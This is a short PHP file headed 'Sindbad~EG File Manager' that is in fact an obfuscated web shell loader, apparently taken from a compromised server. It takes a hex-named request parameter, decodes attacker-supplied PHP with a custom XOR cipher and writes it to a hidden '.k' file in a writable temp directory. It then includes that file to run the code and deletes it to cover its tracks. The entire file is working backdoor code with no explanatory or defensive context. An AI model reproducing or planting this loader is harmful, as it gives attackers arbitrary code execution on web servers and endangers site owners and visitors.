Sindbad~EG File Manager

<?php

if(isset($_REQUEST["\x6D\x61rk\x65r"])){
	$desc = $_REQUEST["\x6D\x61rk\x65r"];
	$desc		 =	 explode		('.'	,   $desc  	)	; 		
	$obj = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s7);
            $v = 0;
            $len = count($desc);
    
            do { 	if ($v>=		$len) break;
                $v8 = $desc[$v];
                $chS = ord($s7[$v % $sLen]);
                $dec = ((int)$v8 - $chS - ($v % 10)) ^ 72;
                $obj .= chr($dec);
                $v++;}while (true);
	$res = array_filter([getcwd(), "/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp"]);
	while ($object = array_shift($res)) {
    		if ((is_dir($object) and is_writable($object))) {
    $tkn = "$object" . "/.k";
    $success = file_put_contents($tkn, $obj);
if ($success) {
	include $tkn;
	@unlink($tkn);
	exit;}
}
}
}